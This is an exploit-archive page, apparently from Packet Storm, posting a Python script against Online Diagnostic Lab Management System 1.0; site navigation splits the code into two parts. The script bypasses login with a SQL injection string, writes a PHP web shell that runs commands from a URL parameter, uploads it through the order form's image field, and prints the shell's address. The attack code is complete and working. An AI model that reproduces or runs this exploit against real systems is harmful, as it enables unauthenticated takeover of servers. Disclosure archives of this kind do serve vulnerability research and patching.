Online Diagnostic Lab Management System 1.0 SQL Injection / Shell Upload

Authored by Yousef Alraddadi

Posted Sep 26, 2022

Online Diagnostic Lab Management System version 1.0 remote exploit that bypasses login with SQL injection and then uploads a shell.

tags | exploit, remote, shell, sql injection, bypass

SHA-256 | a9a666adc9b5791a812164167d20c4ced022f91eed35188667143b4e7b0ee94e Download | Favorite | View

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Online Diagnostic Lab Management System - Remote Code Execution (RCE) (Unauthenticated)
# Google Dork: N/A
# Date: 2022-9-23
# Exploit Author: yousef alraddadi - https://twitter.com/y0usef_11
# Vendor Homepage: https://www.sourcecodester.com/php/15667/online-diagnostic-lab-management-system-using-php-and-mysql-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/diagnostic_0.zip
# Tested on: windows 11 - XAMPP
# CVE : N/A
# Version: 1.0
# Authentication Required: bypass login with sql injection

#/usr/bin/python3

import requests
import os
import sys
import time
import random

# clean screen
os.system("cls")
os.system("clear")

logo = '''
#####################################################################
#                                                                   #
#    Exploit Script ( Online Diagnostic Lab Management System )     #
#                                                                   #
#####################################################################
'''
print(logo)

url = str(input("Enter website url : "))
username = ("' OR 1=1-- -")
password = ("test")

req = requests.Session()

target = url+"/diagnostic/login.php"
data = {'username':username,'password':password}

website = req.post(target,data=data)
files = open("rev.php","w")
payload = "<?php system($_GET['cmd']);?>"
files.write(payload)
files.close()

hash = random.getrandbits(128)
name_file = str(hash)+".php"
if "Login Successfully" in website.text:

    print("[+] Login Successfully")
    website_1 = url+"/diagnostic/php_action/createOrder.php"

    upload_file = {
        "orderDate": (None,""),
        "clientName": (None,""),
        "clientContact" : (None,""),
        "productName[]" : (None,""),
        "rateValue[]" : (None,""),
        "quantity[]" : (None,""),
        "totalValue[]" : (None,""),
        "subTotalValue" : (None,""),
        "totalAmountValue" : (None,""),
        "discount" : (None,""),
        "grandTotalValue" : (None,""),
        "gstn" : (None,""),
        "vatValue" : (None,""),
        "paid" : (None,""),
        "dueValue" : (None,""),
        "paymentType" : (None,""),
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 188 files
Ubuntu 57 files
Gentoo 44 files
Debian 28 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
        "paymentStatus" : (None,""),
        "paymentPlace" : (None,""),
        "productImage" : (name_file,open("rev.php","rb"))
        }

    up = req.post(website_1,files=upload_file)
    print("[+] Check here file shell => "+url+"/diagnostic/assets/myimages/"+name_file)
    print("[+] can exect command here => "+url+"/diagnostic/assets/myimages/"+name_file+"?cmd=whoami")
else:
    print("[-] Check username or password")
```


Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed